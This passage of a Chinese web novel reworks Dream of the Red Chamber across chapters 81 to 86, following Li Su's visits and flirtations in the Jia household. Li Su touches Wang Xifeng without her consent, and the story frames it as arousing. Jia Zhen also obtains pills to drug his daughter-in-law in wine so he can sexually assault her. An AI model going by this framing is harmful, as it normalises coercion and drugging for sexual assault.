眉开眼笑的晴雯紧接着皱眉:“这是什么?奴婢不识字。” 哈哈,又是个不识字的,李素喝完这顿酒有点儿想凤姐儿了:“这个是一个姑娘和十八万两借条,走,带我去琏二爷院子。” 如何是个姑娘晴雯不懂,但银子数却听懂了,这太吓人了,慌忙就往怀里塞! 塞完后,慌张的左右看了看,见没有什么异常,心中安稳了些,随后打定了主意要保护好老爷的财产。 第81章 李纨抢书 一路向着凤姐院子里走去。 晴雯开道,趾高气昂。 自从被赖嬷嬷买来,在府里接受教导,她就想着能跟一个有能耐的主子。 没成想竟然就成真的了,主人又年轻好看,还是个爵爷贵人,看情形府里的人还都敬着。 自己一定要好好表现。 转过一个路口,忽见一花信少妇,身边跟着一个丫鬟前行。 白! 出乎意料的白! 但她表情却如枯槁,透着些郁郁之气。 李素拉住了晴雯,凑到她耳边轻声道:“前面可是珠大奶奶?” 晴雯点点头。 “珠大嫂子!” “啊?你是?” 李纨停步转身,惊讶的看着李素,听说府里来了个英武俊朗的哥儿,难道就是此人? 李素上前行礼:“珠大嫂子有礼,小弟李素。” 李纨暗道果然没错! “见过素兄弟。” 李素凑近了看,只见李纨气质娴静温婉,果然不愧是诗书传家的李家养出来的小姐,但老李家怎么就出了个李吾渉这么个奇葩呢。 “珠大嫂子,借一步说话。” 李纨不明所以,只觉李素有些唐突了,于是道:“素兄弟有话就在这里说吧。” 李素看了看她身边的丫鬟,心想这应该就是叫素云的了。 他再向前迈步,凑近了李纨,李纨却被这一步吓了一跳,不由得后退,李素见状只好不再上前,直接说道:“嫂子,可认识李吾渉?” “啊?你说谁?” 李纨哪里还顾得上别的,激动的一把就抓住了李素的手,用力捏的手指节都发白了,一如王夫人捏佛珠。 李素反用力抓了抓道:“李吾渉!” “他,他在哪里?” 李纨眼圈儿都红了,多少年没有听过大哥的信儿了,都以为他死在外面了,骤闻兄长消息顿时打破了自己平静的心境。 “他就在神京,跟我是兄弟关系,这里有他的一封信。” 李素说着从怀里掏出一本书,打算把夹在书里的信拿出来给李纨。 哪知李纨却是等不及了,一把将书扯了过去,拿在手里捏了又捏:“多谢素兄弟,我可能见到他?” “我自会安排,嫂子等着就是。” “哎呀,如此多谢素兄弟了。”李纨擦了擦眼角的泪,又给李素福身行礼。 “嫂子节哀,他吃的很多,活的很好~” 李纨噗嗤笑了出来,随后眼泪又往下流,不由嗔怪一句:“素兄弟。”然后扭头道:“素云,将我的院子位置跟素兄弟的丫头说说。” 素云忙上前和晴雯说,晴雯摇头:“不用,我知道珠大奶奶的住处。” “既如此,我们就先走了,我等素兄弟的信儿。” 李纨说完又朝着李素行礼,把李素的书抱在了胸前紧了紧,转身就走/ 看她抖动的背影就知道她又哭了。 李素叹了口气,自己这本写了十来章的金瓶梅算是混入了奶香,他想要回自己的书,李纨竟然都没有给他机会。 自从进京后,他春心萌动,闲着没事就开始动笔写金瓶梅,今天进贾府就顺便把李吾渉的信夹在了书页中。 没成想,李纨听到大和尚的消息竟然如此激动,把书一块给收了去,就是不知道她还会不会还给自己。 回头去她家找她要! 李素拿定了主意,对晴雯说:“这珠大奶奶平日里也这般急性子么?” “才没有,我瞧着她就像一块木头,安静的很,从来不多话。” “嗯,走,咱们去看琏二爷。” “老爷,您刚才说的人是珠大奶奶什么人啊?” 晴雯一脸的好奇。 李素刮了刮她翘鼻,虎着脸道:“知道的太多了,小心性命不保,你看细柳就没那么多话。” 晴雯吓得顿时捂嘴,嗡声道:“奴婢不问了,不问了。” “哈哈哈,这就好。” 李素转身向前走,晴雯跟在后面对着李素的背影,无声的张嘴,随后想起了什么,看向了一旁的细柳。 只见细柳憋着笑看她。 晴雯羞恼:“你这柳枝条儿,笑什么?” “你真让我说么?” 细柳指了指前面的李素。 “哈哈哈,不说不说,说那许多话作甚?咱们是好姐妹呢。”晴雯说着伸手就去搭细柳的肩膀,一副社会人的模样。 “嗯嗯,好姐妹。” 但她比细柳要矮上半头,搭着就有些不伦不类,走了几步无奈放下了手臂,改为了挎着细柳。 跟着李素前行。 没走几步,又匆匆跟上了李素,拉住了他的袖子道:“老爷,错了,往这边走。” “老爷我怎么会错?都是你这个引路的丫鬟,干的不好!” “那我牵着老爷走!” 晴雯说着,伸出自己的小手就拉住李素,故作平静的向前走,但是李素感到小手上传来的湿意就知道小丫头紧张的不得了。 再扭头看她,只见她目视前方,耳根儿却有些发红。 李素心中透着乐,同时开口道:“你家里还有何人?” 晴雯感受着自己被大手反握,心中更羞,回话声音有些颤抖:“只,只有一个姑舅表哥,在外面不知做些什么。” “其他家人呢?” “犯事儿,都…都没了。” “你家人原来是做什么的?怎么被杀了?” 晴雯摇头:“我也不知道,只是跟绣工有些关系的伙计。” “老爷,晴雯,你们走错哩!” 跟在后面dd呃细柳实在憋不住了,无奈打断了他们的对话。 晴雯的脸唰的红了,自己信誓旦旦的走前面,还要拉着老爷的手,没成想心里恍恍惚惚的,也给带错了路。 她贝齿轻咬,给自己鼓了鼓气道:“老……老爷,我若说不是我故意带错的路,老爷信是不信?” “不是故意的就是有意的了?” “对啊!” 晴雯眼睛一亮。 “那是为何?你又何意?” “老爷,您看这边儿,冬日里了,这树的叶子还是绿的,是不是很好看,我晴雯想带老爷赏景哩。” 细柳在后面听着,翻了个白眼儿道:“那边儿路上也是绿的。” “这边儿的不一样!”晴雯急了。 细柳疑惑:“哪里不一样?” “我们不一样!” 晴雯单手叉腰,怒视细柳。 第82章 琏二哥偷听 “你们是不一样,再错了,每个人都打屁股。” 晴雯和细柳顿时气焰全消。 再转回头,重新走了几步,晴雯又开口了:“老爷,那,那会不会疼?” “没人打过你?” “有,管教嬷嬷都是打手。” “不疼!” “真的么?” “嗯。” “那我给老爷打!” 李素笑着点头:“好。” 没想到这晴雯不单单是个话痨,还是个小傻子。 但他没注意晴雯眼睛里狡黠的目光,更没听到细柳心里暗骂的骚蹄子三个字儿。 一路坎坷,终于到了贾琏的院儿里。 “嫂子,二嫂子!” 进院儿李素就喊了起来,不多时只见正房门打开,平儿出来了。 笑着上前迎来,行礼后说道:“素大爷安,我家奶奶不在,去忙府里的事儿了,二爷在屋里睡着了。” “那我等她一会儿,顺便看看二哥如何了。” “素大爷,跟我来。” 平儿随后掀开了门帘子请李素进屋。 晴雯却松开李素的手,跑上前:“平儿姐姐,我来。”说完帮平儿一块打门帘,在贾府丫鬟中能让她晴雯高看一眼的,也就平儿一人。 平儿任着她,笑道:“晴雯妹妹,你如今派给了素大爷,可是真个好命呢。” “平儿姐姐也是好命,当着咱们丫鬟的身份,行得半个主子的指使,平日里谁有个难处,姐姐都紧着帮衬,府里哪个不说平儿姐姐的好?” 平儿娇笑:“看你这小嘴儿,抹了蜜似的,素大爷定然欢喜,以后有你的好日子呢。”随后向细柳道:“如今柳妹妹也是行了运,柳嫂子心里不知有多开心呢,都是素大爷的福。” 李素心说,怪不得说平儿是摘了牙的王熙凤,丫鬟里的掐尖儿。 这一句话捧几人的本事,跟王熙凤如出一辙,都是情商超高的女人。 “要不平儿姐姐也跟了我们老爷?” 平儿捏了一把晴雯的小脸笑道:“这哪里是我能做得主的?” 众人笑着一块进了屋子,晴雯和细柳自觉在厅中候着,李素随着平儿进了里间去看贾琏。 见贾琏被盖了两层被子,额头上贴着块儿白毛巾,脸色泛红。李素就想笑,这是贾琏身体升温的时候,感到冷才盖的被子,现在应该是升温结束,温度散发不出把脸给烧红了。 捂着身体不散热,退烧可有的等了。 走到床边,把贾琏的毛巾拿掉,伸手摸了摸,感觉有三十九度左右。 随后又把毛巾给他盖上,让二哥慢慢捂。 看了看一旁亭亭玉立的平儿,坐在了贾琏的炕边儿上,看向她随口问道。 “可吃过药了?” “禀素大爷,吃过了。” “几日能好?” “太医说多则半个月,少则七八天。” 李素听完转身又看向贾琏轻声说道:“二哥啊,二哥,你快点儿好起来吧,不然你的丫鬟可就归我了。” “素大爷,二爷没有丫鬟的。” 李素扭头看向她:“你不是么?” “啊?我……我不是。”平儿闹了个大红脸。 李素轻声道:”我知道你是二嫂子的人,也知道随了二哥的丫鬟,都没有什么好下场,都是你们奶奶的手段。” 平儿不愿意说王熙凤的不是,辩解道:“素大爷说笑了,我家奶奶还是很好的。” “如果你家奶奶不反对你跟我,你愿意么?” 平儿摇摇头:“不是素大爷不好,而是我得帮衬着我家奶奶,她也很不容易的。” “算你这小蹄子有良心!” 银铃声响起,王熙凤掀帘子进了里间。 随后瞪了李素一眼:“你就是个没良心的。” 李素大笑:“哈哈哈,嫂子说的哪里话来?有胆你再说一遍!” 王熙凤白了他一眼:“我才不说,你是最有良心的好吧。” 李素摇头:“不,嫂子才最有良心!” 王熙凤被他眼睛盯的有些想躲,又想抱胸,一阵异样的刺激传来,忍着心里的不适对平儿道:“去给素大爷端碗茶来!” 平儿笑着转身出去了。 王熙凤扭身躲开他的目光,接着埋怨道:“你是趁我不在,来撺掇平儿了?” 用眼睛比划了一下桃形,李素捻声道:“我说不是,你信不信?” 王熙凤豁然转身:“不说实话,眼珠子给你抠出来。” 不知道怎么回事儿,她面对李素,身子异常敏感,刚才转身后就感到自己的臀儿好似被狠狠的盯瞧,心里的异样更强了。 李素目光深沉的盯着她,不说话,王熙凤有些扛不住了,扭身向外面大声骂道:“死平儿,倒个茶这么慢,你等过年吗?” 刚骂完,就感到自己 的臀儿上挨了一下子。 啊! 王熙凤疼的禁不住尖叫一声,转身怒视李素正要开口,李素就出声骂道:“就你这急性子,也就平儿受的了你!” 她哪能受得了这委屈,又想开口,就见李素的大手就捂了上来,脸凑在了她的眼前。一开口,声音低沉。 “收起你的泼辣性子,也别吵,二哥正在休息,一会儿别忘了给他喂药!” 男性侵略的气息混着酒气让她有些头晕目眩。 说完李素就出了门儿,留下了一脸茫然的王熙凤,她此时心跳如鼓,从没有这样的男人,更从没有被男人如此对待过她。 热度不断的冲上了头脑,脖颈耳朵脸颊都开始发热了, “奶奶,素大爷怎么走了?” 平儿端着茶进来问道。 “我管他走不走?” “你这是怎么了?也发烧了吗?”平儿把茶放到了一旁桌子上,伸手去摸王熙凤的额头。 王熙凤一把打掉她的手,没好气的说道:“我烧个屁!” “喔,那就是发骚了!” 王熙凤柳眉倒竖,对着平儿就扑了上去:“我打死你个骚蹄子,没大没小的,就会作贱你家奶奶!” 平儿一边躲,一边笑道:“看,我说着了吧,都急眼了,咯咯咯。” “放你的骚臭屁,看我饶不饶你!” 主仆二人就在贾琏的炕前打闹了起来。 而谁也不知道,贾琏其实都听了个真真儿的,他的脑子里勾勒着刚才的画面,心中涌起了阵阵特别的兴奋感。 卧病在床行动不便,无能的琏二哥,好像起了变化。 第83章 李纨错读书 却说李纨回了自己的院子,进得屋子就迫不及待的打开自己的大哥的信。 看到那熟悉的飞扬不羁的字体,李纨的眼泪便再也止不住,扑簌簌的流了下来。 信不长,兄长交待了思念之情,说了自己很好,说了李素很好,让自己等李素见面事宜。 她对兄长的感情,远远超过了亲生父亲。 父亲古板,从不会表达自己的情感,在家里与其说是父亲,倒不如说是书院里的先生,冷漠、刻板。 母亲亦是守旧,以父亲为天,只有自小意气飞扬的兄长,给了她整个成长过程里所有的温暖。后来不知道为什么,兄长忽然与父亲决裂,从此杳无音讯。 呆呆的坐了半晌,直到素云给她端了热茶过来,才收敛了伤绪。 不管怎么说,都是喜事,是大喜事。 嗯?这是? 李素的书? 李纨拿起了夹信的书,顿时感觉不太好意思了,自己思兄心切竟然把人家的书都给顺了回来,后来想想,当时李素的表情大概是想开口要书的,而自己完全就是霸道的给抢了回来。 等回头再还给他,再致歉就行了,想来他也不会太在意的。 《金瓶梅》? 没听说过有这书啊。 作为书痴的李纨,顺手就读了起来。 不多时就入了迷,渐渐的身子也火热起来,阵阵羞意带着些暖流让她的心难以自持,她把手里的书猛的一合,不敢再看,心中同时暗啐李素竟然读这种书。 但是,停下了一会儿,心中就如八爪挠心,不由得心想,我就再看看,不为别的,就是为了回头批评一下他。 于是李纨又继续看了下去,直到最后发现剩下的全是白纸,忽然明白了,这是李素自己写的。 而自己竟然看着李素的书……李纨进了里屋伏在炕上便盖上了被子。 这却惊动了外面的丫鬟素云。 随后就看到了被李纨打开的书,她仔细瞧去。 让素云顿感心神被冲击的阵阵涟漪而起。 素云随后起了身,出门把院子也关紧了起来。 李素出了琏二哥的院子后,晴雯就问了起来:“老爷,现在要去何处?” “引老爷我回院儿歇着吧。” “好。” 晴雯眉开眼笑,仔细看去,仿佛能读出好几种情绪。 李素叹息,真是小姐的身子丫鬟的命。 正走着,只见远处一行三人行来,抬眼望见李素等人,连忙驻了身子就似是要转身,但还是行了过来。 与李素三人走了对面,头前一个削肩细腰,长挑身材,鸭蛋脸面,俊眼修眉,顾盼神飞,文采精华,见之忘俗。 李素心说这个大概就是探春了,有些眼熟,上午的时候救贾宝玉慌乱中瞥见了一眼。 等到了近前,眼神微闪但还是干净利落的行礼道:“探春见过素大哥。” 果然是她! 李素双手虚扶笑着道:“见过探春妹妹,不必多礼,妹妹这是打哪来?” “自姨娘处,不知道素大哥可是从大老爷那里回来?” “探春妹妹如何得知?” “环弟。” 李素料定留下贾环定然会生事,果然不出所料。 迎春接着问道:“素大哥可是要纳二姐姐?” 好家伙,这话问的,不愧是红楼中的女将军性子,行事果断,不拖泥带水。 “这是也是你环弟说的?” 探春摇摇头,随后她大胆的盯着李素,其神采熠熠似有飞扬之态:“一部分是,另一部分是我自行揣测,依着大老爷的性子,把二姐姐卖了毫不奇怪。” 李素鼓掌:“探春妹妹应该做个女诸葛,倒是把赦大伯的性子看的一清二楚。” “果真卖了?” “没卖。” 李素没说谎,迎春是送了不是卖,条件是允许贾赦加入到盐业的大局中。 探春松了一口气,说不清楚自己心里是个什么滋味儿。 “探春妹妹无事的话,可到我院子里坐坐。” 探春毫无扭捏,果断点头:“那就去,正想请教素大哥如何退匪的事哩。” “哈哈哈,好,那今儿素大哥就给你好好吹吹。” 李素说着就往自己院子走。 探春跟上:“什么叫吹吹?” “家乡话,讲讲的意思。” 一行六人,两个主子,四个丫鬟就往李素的院子行去。等他们走远了,树后的一个角落里闪出了赵姨娘的丫鬟彩云身影。 彩云快步回了赵姨娘的院子,给她说了刚才的见闻。 赵姨娘开心道:“这丫头装着无事,嘿嘿,这不是上赶着自己凑上去了?哼哼,老娘的种子,怎么能不争个一二三。” “那现在怎么办?” 赵姨娘心有成竹道:“现在就等着我给老爷吹枕边儿 风了,你去看看老爷醒了没有,就说老娘我心口疼,请老爷过来看看。” 彩云快步就要往外走。 赵姨娘又补了一句:“别说我心口疼,就说我做了一件新衣裳,要穿给老爷看看。” “为何这样说?”彩云一怔。 赵姨娘坐下来,表情愤愤不平道:“哼哼,你哪里懂爷们儿的心思,他们呀都是些个吃腥的猫,从来没有良心,快去!” “奴婢就去。” 彩云匆匆去了,赵姨娘心里琢磨起怎么对付贾政的手段。 李素回到院子里,请探春坐了,又吩咐晴雯上茶,开始吹起了自扬州到京城这一路的故事。 探春听得神采飞扬,恨不能自己像李素一样,纵横于运河之上与敌匪斗智斗勇。 “素大哥,你既然开始就知道,吴家的船心怀不轨,为何不把他们直接拿下?” 李素摇摇头:“吴家可不简单啊,不是那么好拿捏的。” “如何不简单?还大的过钦差大令?” 探春的大眼睛烁烁发光,看着李素。 “我没有大令,只有公文,公文也管不得他们不说,吴家除了盐商的身份不提,背后还有吴太妃,还有楚王妃,不好动啊。” 李素叹了口气。 “这能算楚王和太妃都掺和进来了么?” 李素笑了,这话岂能随便说,也只有眼前这个大胆的姑娘,私下里毫无顾忌。 倒是真信得过自己,嘿! 且诈她一炸。 于是李素猛的一拍桌子,大喝道:“大胆贾探春!竟敢妄测皇家之事,你该当何罪?” 第84章 秦可卿的危局 探春顿时花容失色。 但紧接着豁然起身行礼,强作镇定颤声道:“不……知素大哥,以何身份问我?” 李素冷然:“有何区别?” 探春此时已经冷静了下来,看向李素目光灼灼:“若是花园子爵问我,我自然是问花园子爵在朝廷中的职司,若无职司我拒绝回答。” “还有呢?”李素笑了。 “若是素大哥问我,我的回答是帮府中亲长忧思。” “哈哈哈……三妹妹果然不同凡响。” 李素抚掌大笑。 探春听了却苦笑一声:“想必素大哥也知我身世处境,不同凡响又能如何,不过是夹缝中的可怜虫罢了。” “我却觉得三妹妹,以前不必做如此想,因为朱门之外,食不果腹者众,你的处境比起来不算什么。” “而现在更不必做这等想法,因为你素大哥来了,机会就来了。” 李素说着伸出了手,探春则毫无犹豫的搭了上去,看着他道:“望素大哥拉我出藩篱。” “这是小事,你没发现么,我来了这半日,荣国府已经起风了。” 探春恍然大悟,随后想起今日的一桩桩一件件,揭破了宝玉的伪装,让王夫人挨了揍,自己看到了大伯的凉薄,自己的亲娘都开始了新的算计。 府里藏在水下的幽暗,仿佛忽然间就被掀了出来,暴露了出来。 这才是无声动惊雷,风雨起自然。 但接着探春拧眉。 “不过素大哥,做这一切都是为了什么呢?跟府里有仇?我又该如何自处?” “因为一个梦吧,不过请妹妹放心,荣国府只会去腐心生,结果会是好结果。” 探春闻言放下忧虑,忽然狡黠一笑。 “其中也包括揉摸妹妹的手么?” “不止。” 不止? 探春洁白的脸颊,顿染红霞,但眼光丝毫不躲不闪,极为勇敢。 李素愣了,这丫头是不是想歪了?被自己忽悠瘸了? 看了看伺候在侧的晴雯,听着外间细柳和侍书、翠墨传来小声的说话声,这情形真不是时候把探春扛进去。 尤其是晴雯,虽然不说话,但是倒茶的响声却稍稍高了一些。 李素笑了一下,拉起探春的手,往书房走去:“妹妹,平日里读的哪些书?写的什么字?” 探春随他而走:“素大哥又读的哪些?” “我带你去看看。” 扭头看了一眼紧跟的晴雯道:“晴雯你不用跟了,你不识字。” 但晴雯哪里想走,开口便说。 “老爷,别看不起人,若是有人教我,我保准学的比谁都好,哪怕是姑娘也未必及我。”晴雯说姑娘二字的时候,故意提高了一些音调。 探春笑着接话:“那我来教你可好?” “(⊙o⊙)…三姑娘教的自然是……是好的。” “哈哈哈,那走着。”随后他一手牵一只小手往书房而去。 细柳和侍书、翠墨见状互相看了看,忙着跟了上去。 李素扭头看了看,一串儿丫头,这就是贾宝玉整日里呆的脂粉堆儿,果然迷人。 宁国府。 天香楼。 贾珍吩咐完了晚宴事宜,挥了挥手让他们下去办,尤氏、贾蓉、小秦氏三人出门儿而去,他盯着儿媳妇小秦氏摇曳的身姿消失,内心一阵火热。 坐在椅子上面色阴晴变幻,一旁的小厮寿儿见主人这番模样,于是上前跪下,伏在贾珍的腿上,腻声道:“老爷可要小的贴烧饼?” 贾珍今日对他没兴致:“滚!” 寿儿面色一白,赶紧叩头道:“是寿儿惹了老爷不快,小的这就滚。” “等等,你看看喜儿回来了没有?” “是。” 说着寿儿就转身往外走,刚开门就跟匆匆而来的喜儿撞了个满怀,寿儿面上一怒就欲大骂,就听后面贾珍说道:“喜儿来了,就赶紧滚进来,寿儿出去。” 寿儿面上妒色更炙,咬了咬牙,躲开喜儿就跑了。 喜儿不屑的笑了笑,赶紧进了屋子,反手把门关了起来跑到贾珍面前跪下:“老爷,大喜,小的买到了。” 贾珍大喜:“拿来我看。” 只见喜儿从怀中掏出了一个精致的锦盒,递给了贾珍。 贾珍拿过来后打开,只见锦盒中有两个瓷瓶,一红一黑,贾珍打开瓶塞儿,倒了倒,有两颗药丸儿顿时滚了出来,同样是一黑一白。 喜儿在一旁低声道:“老爷,这红丸任是贞洁烈女,只要用了,保准变淫娃荡妇。而这黑丸是男人用的,它还有个别名,老爷猜猜是什么?” “是什么?” “叩门不用手!” 什么? 贾珍脑子转了转,顿时恍然大悟,随后大喜急着问道:“如何使用?” “置入酒 中即化,无影无踪。” 贾珍听完,不由得谋划了起来,这小秦氏自入了府,自己就不许蓉儿与她同席,今日合该红丸被老爷我拿走了。 想起小秦氏的风姿容貌,贾珍心中不由的又感谢起自己老子贾敬来。 当初自己老子,要求自己给儿子娶妻,竟然娶一个工部小官儿的养女,自己还闹了很大的意见。 直到小秦氏进府,就好比撞进了自己的心里,那一晚自己拼着不要脸,让蓉儿在自己屋外站了一晚上,没让他进洞房,今日到了要收获的时候了。 贾珍又看向了喜儿,摸了一把他的俊脸,哈哈大笑:“办的好,办的好,去账房领二十两银子赏钱。” “谢老爷,不过喜儿更喜欢被老爷宠爱呢。” “你这小骚兔儿,改日老爷再爱你。” 喜儿跪下磕头,喜不自禁的出了屋子,看了看远处还在往这里瞧的寿儿,冷哼了一声,匆匆去账房领赏银去了。 他喜儿,今日要去勾栏听曲儿。 秦可卿和尤氏一前一后的走着,尤氏忽然开口道:“蓉哥儿媳妇,今日我瞧着不太好,你要仔细了。” “婆婆是指?” 尤氏摇摇头叹息道:“你警醒些便是,你这容貌就是罪啊,你和蓉儿现在还没有圆房吧?” 秦可卿羞红脸,呐呐道:“还未曾,公公不让。” 尤氏不再说话了,一脸的忧虑。 天色将晚。 李素的书房中,探春放开了晴雯的手,只剩下晴雯拧着眉头用手攥着毛笔使劲,终于自己画出了个“一”字,只不过那弯曲的劲儿,怎么看都像是个蚯蚓。 探春强忍着笑,对李素道:“素大哥去赴宴,要注意一事。” “何事?” “不要和蓉哥儿媳妇说话!” 第85章 赵姨娘开始了骚操作 贾蓉? 呃……秦可卿。 “为何?” “她……” 探春脸上现出了犹豫之色。 晴雯放下笔插话道:“姑娘犹豫什么?有什么不可说的?不说东府,就咱们西府里谁不知道啊?” 探春苦笑。 “就是蓉哥儿的媳妇和珍大哥有不好的传言,名声不好,所以我想说素大哥离他远一点儿,省的沾染了麻烦,污了名声。” “贾珍扒灰了?” 探春听到这话,有些不好接了,太丢人。 晴雯再次出言。 “那想必是扒了的啊,那蓉大奶奶我可是见过,那容貌东西两府里,也就琏二奶奶能与她比一比,但也不如她,更不用说身段儿了,啧啧!” 李素摇摇头:“你是不是少说了一人?” “啊,老爷指的是谁?” “你啊。” 晴雯瞬间忸怩起来,支支吾吾道:“奴婢……想…想来也是不如的…罢。” “哈哈哈……” 众人听着她这勉强自信的劲儿,不由得大笑起来。 “哼,老爷原来是拿奴婢取笑呢。” “我说的可是真的,不信你再过几年长大些再看看,谁都会说我的丫鬟晴雯是一等一的美人坯子。” “额,嘿嘿。” 看她模样,众人再次大笑。 赵姨娘的房里。 此时贾政,带着一脸的怒气就要走。 “老爷~” 赵姨娘叫的哀婉,十八个转弯儿。 贾政被这一嗓子叫的哆嗦了下,不由得心软,再次说了句:“你莫再想了,三丫头的事情,自有老太太,我和夫人做主。二丫头的事儿,是老太太,大老爷所定,没得可改。” 把话撂完,贾政也不再留,出了赵姨娘的院子。 屋里的赵姨娘见自己的计划落空,不由气的在屋里骂骂咧咧。 一旁的丫鬟彩云,忽然对赵姨娘说道:“姨奶奶,奴婢有个主意。” 赵姨娘眉头微蹙,疑惑道:“你能有什么主意?” “确是要花点儿银子。” “又花银子?” 赵姨娘的声音不由得高亢起来,甚至有些尖利,今天被贾环赚走银子就心疼的不得了。 彩云劝道:“姨奶奶,您想啊,那可是百万两的利,就是少一些到您手里,岂不是也有万儿八千的,此时花点儿不算什么。” “你别跟老娘打马虎眼,到底怎么办?” “咱们就给他来个先斩后奏!把那李素和三姑娘定亲的事儿,嚷嚷的满府皆知,还要说李素和三姑娘已经定情,让赵舅爷在外面也放出风去,里外夹击,到时候……” 赵姨娘眼睛放光:“到时候他们不认也得认!” “对,如果不认,那三姑娘的名声就毁了。” 赵姨娘一拍脑袋:“对啊,万一不认怎么办?” “姨奶奶,您觉得老爷和老祖宗的脾性,会让三姑娘的名声毁了么?” 赵姨娘一捶大腿:“那定然不会!” “着啊!” 赵姨娘果断拍板,颇有探春的风范,大有魄力:“干了,这事儿就交给你办,包括环儿他舅舅在外面要张罗的事儿,都是你来办,彩云啊这事儿如果办成了,以后环儿的姨娘位子有你一个。” “都是奶奶提携!” 彩云得了许诺大喜,她忙来忙去不就是为这个么?府里的丫鬟都是这样想的,目标抬姨娘!忙着跪下行礼! 赵姨娘忍痛把一包银子交给了彩云,挥了挥手让她去了。 而最初的计划人,贾母浑然不知半日功夫,自己的计划已经扭曲的不像样子了。 此时正在哄着头缠白布的宝玉。 “你又何苦?这是你生来就带着命根子,可不能扔了不带啊,你要是有个三长两短,我可怎么活啊?” 老太太哭天抹泪的抱着宝玉,劝他把自己玉带上。 自被李素那一串儿玉晃瞎了眼,气的自己把玉砸掉后,就再也不想戴了。 但这却把老太太给吓的够呛,不停地心啊肝儿啊的劝起了宝玉。 宝玉噘嘴流着泪,倚靠在贾母的怀里,他忽然脑海里出现了李素的容貌,鬼使神差的问了一句:“我能找素哥哥顽么?” 贾母闻言眉头微皱,本能不想让自己的宝玉接触到李素,但看着这个心肝儿一脸期待的模样,不由的说道:“行,你带着自己的小厮丫鬟一块儿。” 宝玉顿时一喜,起了身问道:“素大哥在哪里?” 一旁的鸳鸯回话:“回二爷的话,想必此时应该要去应珍大爷的宴席了。” “那我就去。” 就要走,却被贾母一把又拉了回来。 “我的心肝呦,你还带着伤呢,再说这到晚饭了,你吃过饭再说也不迟啊。” “珍大哥不 是宴请么?我今儿就吃他一回,老祖宗,这玉我带起来了。”说完他把自己的玉又套在了脖子上。 贾母见拦不住了,只好紧着吩咐:“快,快给你们二爷把那件狐裘拿来!” “你们都好好的照应着。” 一众丫鬟小厮不断的答应着,袭人把衣裳给宝玉穿戴好后,宝玉捂着袭人的手道:“姐姐今日里的胭脂看起来有些不同呢。” “二爷说笑了,奴婢日日都是一样的。” “回头定要尝尝看。” 说着就出了门,奔着东府而去。 此时李素也往东府走,东府的大管家赖二亲自来请的,李素没有让晴雯她们跟着,大晚上喝多了谁知道会出什么事儿。 几个丫头也弄不到自己,干脆就辞别了探春她们,自己跟赖二往东府走。 出了院子,赖二就带着李素往北走。 李素觉得不对,随后问道:“这边儿不是大门的方向啊?” 赖二回头赔笑道:“素大爷,您有所不知,这东西两府在北边有小门连通着,走这边路更近一些。” “不对,即使有小门儿,我初次登门,也不能走这边儿,旁边那个院子是谁的?”李素说完指着偏僻处一个小院儿。 赖二打望了一下道:“那是珠大奶奶的院子。” 李素又看了两眼院子和周边的环境,扭身回头。 “嗯,走大门吧,我想去看看宁国府那两头石狮子。” 赖二无法,紧跟两步走到了前头引路。 “素大爷也知道我们东府的两个石狮子?” “知道啊,据说很干净!” 赖二不解,搞好不清楚夸狮子,为何说干净。 二人一路前行,忽然李素驻足道:“这是谁家死人了么?” 赖二闻言一惊,奇怪向前看去,只见一群人影影绰绰的向这边儿走,头前一个黑影好似带着个白色的孝帽子。 第86章 袭人遭嫌弃 待走近了瞧,才发现不是戴孝帽子。 而是宝玉复活了,头上绑着白布,一群丫鬟小厮跟着正迎面走来。 就不知是政二先生留手了?还是太医本事大?走起路来竟然一点儿都不跛。 “素大哥。” 看见李素,宝玉眼睛一亮。 李素笑着对小舅子道:“宝兄弟这是去哪儿?竟然带了这么多人?啧啧,不愧是老太君看重的哥儿,这排场我在宫里都没见过。” “呃…是,是去珍大哥那里赴宴,素大哥现下也是要去的吧,你们别跟着了,我跟素大哥同去。” 宝玉被李素说的有些不好意思了,转身就开始轰袭人、茗烟等丫鬟小厮。 “二爷!这是老祖宗吩咐的。” 宝玉被袭人这么一说,自感在李素面前丢了面子,顿时起了逆反心理。 随后没好气的撂了一句:“那你们自去找老祖宗,以后也别跟我了!” “素大哥,咱们走吧。” 李素点点头:“赖二引路。” 赖二打着灯笼就往外走,李素跟宝玉跟上就走,留下了袭人、茗烟等七八个丫鬟小厮面面相觑,不知道怎么办了? 袭人咬了咬牙:“息了灯笼,咱们等二爷走远了,偷偷跟去。” 众人也没有什么好办法,只好按照袭人的办法做。 李素边走边和宝玉说着话。 “宝兄弟,刚才那个顶嘴的丫头叫什么?” “袭人,素大哥有所不知,她本姓花,我觉着太俗,故取了花气袭人中的二字,换了袭人这个名字。” “宝兄弟心思灵巧,却像个女孩子。” 这话让贾宝玉大为开心,只觉得李素真是自己的知己,今日里竟然对着李素摔玉,实在是不该。 “素大哥,我恨不能自己变成个女孩子,不想做这脏臭的男人。” 李素离他远了一些:“好想法,我认识一个大夫回头介绍给你认识。” “大夫?” “嗯,他叫夏守忠,不过你信不信,刚才的袭人定会跟上来。” 宝玉想了一下道:“也是,她平日里不是叫我读书,就是告诉我这个不好,那个不好,还说什么老爷不喜,太太也不喜的,真真儿的主意正的很,要不是……。” “要不是什么?” 宝玉犹豫了一下道:“要不是,她嘴上的胭脂好吃,我早就赶走她了事,素大哥要不要尝一尝,你等着!” 随后他就向着身后嚷道:“袭人,你给我出来!” “不不……宝兄弟,我不吃,我从不吃别人剩的。”说完在心里补了一句,嫂子可以。 宝玉有些丧气:“都怪我,但我今日却没吃呢,素大哥果然是个洁净之人。” 在后面偷偷摸摸跟着的袭人,被贾宝玉一嗓子给喊了出来,赶紧跑到近前:“二爷!” 宝玉见她真的出来了,被李素给猜了个正着,心中羞恼,大骂道:“赶紧滚,莫再跟着了,不然把你配小子去!” 袭人吓得花容失色,点头如捣蒜:“不跟了,不跟了。” 李素暗自摇头,真是见识了宝玉的凉薄,书中的贾宝玉李素了解并不太多,只以为他是个管撩不负责,出事儿不出头没担当的家伙。 现在才明白其中因由,还是他性子里的凉薄,那就别怪素大哥给你上点儿节目了。 等李素和宝玉他们走远,丫鬟小厮们,又跟了上来:“袭人姐姐,咱们还跟吗?” 袭人面色难看的对他们说道:“要跟你们去跟,我是不敢了,你们就去东府门外候着,等二爷吃完酒迎回来就是了。” 其余人哪里敢跟着,只好去大门外等着宝玉回来。 李素跟着赖二,一路从行到了宁国府的大门,仔细打量了两个大石狮子。 “素大哥,这有什么好瞧的?” “干净!” 贾宝玉好奇,上前摸了一把,随后就觉得不对,有灰! “不干净啊。” “以后你就知道了,它是干净的。” 贾宝玉听不懂,但还是记在了心里,素大哥这般容貌的男子,定然不会乱说的。 赖二略带尴尬的带着二人走角门进了宁国府。 “今日宴席安排在哪里?” 